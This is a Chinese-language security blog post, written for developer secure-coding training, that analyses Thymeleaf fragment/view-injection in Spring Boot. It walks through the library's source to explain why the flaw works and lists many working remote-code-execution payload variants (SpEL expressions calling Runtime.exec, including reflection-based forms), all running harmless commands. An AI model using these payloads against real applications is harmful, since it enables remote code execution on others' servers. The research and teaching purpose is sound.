最近需要给研发部门的开发GG们作一场关于Java安全编码的培训,一方面后端开发使用Springboot+thymeleaf框架较多,因此通过代码示例以及漏洞演示加深理解。借此机会,又再去学习了下大佬们关于Thymeleaf这个漏洞的研究。
本文针对已有payload的执行原理和过程在代码层面进行了一些分析,找出新的注入点并阐述扩展新payload的一些方法和姿势,仅此而已。另外由于Thymeleaf 介绍文章很多,就不赘述了,部分文章和观点给我提供了很多帮助,一并附在最后,就不一一致谢了,最后感谢你们的无私奉献yyds~。
0x01 环境配置
无一例外,我也是参考这个https://github.com/veracode-research/spring-view-manipulation/ 搭建的,核心代码如下:
@GetMapping("/path")
public String path(@RequestParam String lang) {
return "user/" + lang + "/welcome"; //template path is tainted
}
正常访问的话其实会看到报错信息,因为拼接后的模板映射到的文件路径->/templates/user/hello/welcome.html 找不到,所以直接会报错。现实中这个漏洞直接利用的场景不太多,几乎都是返回模板展示的动态内容(通常模板文件中用${..}动态渲染变量),而根据输入模板名称动态返回模板文件的场景就不是很多了(~~有争议也别打我,先打开发)。
0x02 Fragment 注入通用payload
如果这里的控制层用的是@Controller 进行注解的话,使用如下的payload 即可触发命令执行。
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
需要注意的是要进行urlencode编码:
http://ip:port/path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22whoami%22).getInputStream()).next()%7d__::.x
发送请求后执行id 命令后回显
其实后面的.x 不需要也可以,也就是只有:: 这个也是可以的(不过是不返回执行命令后的结果了,写文件是可以的,以下所有payload均不再根据::单独列出),有些文章可是瞎写。例如payload 是这样也是可以的。
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("touch executed").getInputStream()).next()}__::
虽然报错了,抛出的是fragment section 异常,但前面的代码已经执行完了才会到这一步,后面会有相应的代码分析。
0x03 关于为什么这里只能用 __${…}__
而不能是 ${expr}/${{expr}}
首先是被误用,导致后续即使代码不是这样写(这个下文会提到),也都沿用这个方式作为解析必要条件。因为当初这个大佬写的代码中 return的是 "user/" + lang + "/welcome"; 这个代表是/templates/user 目录下的模板,而__${…}__
是 thymeleaf 中的预处理表达式,也就是先处理这个再把处理后的结果作为参数带入。而因为templateName 已经有"user/" 了所以这里必须用 __${…}__
包装下才能正常被解析,这个可以从代码中比较直观看出来:
/** StandardFragmentProcessor **/
final FragmentSelection fragmentSelection =
FragmentSelectionUtils.parseFragmentSelection(configuration, processingContext, standardFragmentSpec);
继续调用StandardExpressionPreprocessor#preprocess();
preprocess(预处理)方法首先会检查input(也就是templateName) 有没有"_" 下划线这个字符,没有的话就直接原样返回了,否则继续往下执行。
final String preprocessedInput =
StandardExpressionPreprocessor.preprocess(configuration, processingContext, input);
if (configuration != null) {
final FragmentSelection cachedFragmentSelection =
ExpressionCache.getFragmentSelectionFromCache(configuration, preprocessedInput);
if (cachedFragmentSelection != null) {
return cachedFragmentSelection;
}
}
final FragmentSelection fragmentSelection =
FragmentSelectionUtils.internalParseFragmentSelection(preprocessedInput.trim());
/** StandardExpressionPreprocessor **/
static String preprocess(final Configuration configuration,
final IProcessingContext processingContext, final String input) {
if (input.indexOf(PREPROCESS_DELIMITER) == -1) {
// Fail quick
return input;
}
final IStandardExpressionParser expressionParser = StandardExpressions.getExpressionParser(configuration);
if (!(expressionParser instanceof StandardExpressionParser)) {
// Preprocess will be only available for the StandardExpressionParser, because the preprocessor
// depends on this specific implementation of the parser.
return input;
}
//部分省略
final IStandardExpression expression =
StandardExpressionParser.parseExpression(configuration, processingContext, expressionText, false);
if (expression == null) {
return null;
}
final Object result =
expression.execute(configuration, processingContext, StandardExpressionExecutionContext.PREPROCESSING);
//后续省略
用 ${}
返回preprocessedInput,用__${}__
返回preprocessedInput2(用以区分)
preprocessedInput="user/${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}::x/welcome"
if use with __${expr}__ syntax instead
preprocessedInput2="user/shexxxao::x/welcome"
然后继续运行到internalParseFragmentSelection(),主要实现去除空格等一系列检查任务,重要的一步是检查是否包含“::" 操作符号,这个符号其实是定位符号,用来查找template 中的fragment section 部分。
其实最早在ThymeleafView#renderFragment()方法中就先判断了viewTemplateName 是否包含"::" 这个操作符号了,否则不会执行上面的parseFragmentSelection()过程,压根不会执行后续的Fragment 表达式解析了。
也因此为啥称为Fragment 注入,大都很它称为View 注入,当然只是我觉得用Fragment 比较符合这个漏洞产生原理,所以叫啥都行,并不重要。
执行到最后会发现templateNameExpression 为user/${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()} 这个就无法解析,到这里就抛出异常了。(注意另外一个重要的参数—“fragmentSpecExpression”,这个后面也有一轮表达式解析的过程,因此::后面还可以插入表达式)
0x04 新的注入点“::”
在前面提到fragmentSpecExpression,这个其实后面对fragment 的参数进行了解析,核心代码如下:
/** StandardFragmentProcessor **/
// Resolve fragment parameters, if specified (null if not)
final Map<String,Object> fragmentParameters =
resolveFragmentParameters(configuration,processingContext,fragmentSelection.getParameters());
if (fragmentSelection.hasFragmentSelector()) {
final Object fragmentSelectorObject =
fragmentSelection.getFragmentSelector().execute(configuration, processingContext);
if (fragmentSelectorObject == null) {
throw new TemplateProcessingException(
"Evaluation of fragment selector from spec \"" + standardFragmentSpec + "\" " +
"returned null.");
}
基于此,可以构造如下payload:(ps:由于无法直接回显,所以可以用写文件形式)
666::__${T(java.lang.Runtime).getRuntime().exec("touch 667")}__
//使用时同样需要url编码
可以看到文件已经成功写入。
0x11 环境配置(扩展)
看到大部分文章是这样配置的:
@GetMapping("/path")
public String path(@RequestParam String lang) {
return lang; //template path is tainted
}
同样先正常访问看下响应内容:
0x12 Fragment 注入通用payload1
根据上面分析后,发现其实并不一定需要__${expr}__
这种方式来包住payload ,可以直接用${expr}
或者${{expr}}
都是可以的。
需要注意的是:除了${expr}以及${{expr}}
可以被Thymeleaf EL 引擎执行外,*{expr}及*{{expr}}
也同样可以。
payload1:
${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}::x
*{new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}::x
payload2:
${{new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}}::x
*{{new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}}::x
同样能够执行预期结果:
0x13 Fragment 注入通用payload2
当然也可以用Java 反射来改造payload:
__${new java.util.Scanner(T(String).getClass().forName("java.lang.Runtime").getMethod("exec",T(String[])).invoke(T(String).getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(T(String).getClass().forName("java.lang.Runtime")),new String[]{"/bin/bash","-c","id"}).getInputStream()).next()}__::x
或者减少T(String),即:
__${new java.util.Scanner(Class.forName("java.lang.Runtime").getMethod("exec",T(String[])).invoke(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")),new String[]{"/bin/bash","-c","id"}).getInputStream()).next()}__::x
同理列出其它相似的payload:
a)用${expr}方式:
${new java.util.Scanner(Class.forName("java.lang.Runtime").getMethod("exec",T(String[])).invoke(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")),new String[]{"/bin/bash","-c","id"}).getInputStream()).next()}::x
b)及相应的 *{expr}方式:
*{new java.util.Scanner(Class.forName("java.lang.Runtime").getMethod("exec",T(String[])).invoke(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")),new String[]{"/bin/bash","-c","id"}).getInputStream()).next()}::x
c)用${{expr}} 方式:
${{new java.util.Scanner(Class.forName("java.lang.Runtime").getMethod("exec",T(String[])).invoke(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")),new String[]{"/bin/bash","-c","id"}).getInputStream()).next()}}::x
d)及相应的*{{expr}}方式:
*{{new java.util.Scanner(Class.forName("java.lang.Runtime").getMethod("exec",T(String[])).invoke(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")),new String[]{"/bin/bash","-c","id"}).getInputStream()).next()}}::x
0xFF 参考文献
[1]. https://mp.weixin.qq.com/s/-KJijVbZGo6W7gLcve9IkQ
[2]. https://github.com/veracode-research/spring-view-manipulation/
[3]. https://www.thymeleaf.org/doc/tutorials/3.0/thymeleafspring.html
[4]. https://www.cnblogs.com/hetianlab/p/13679645.html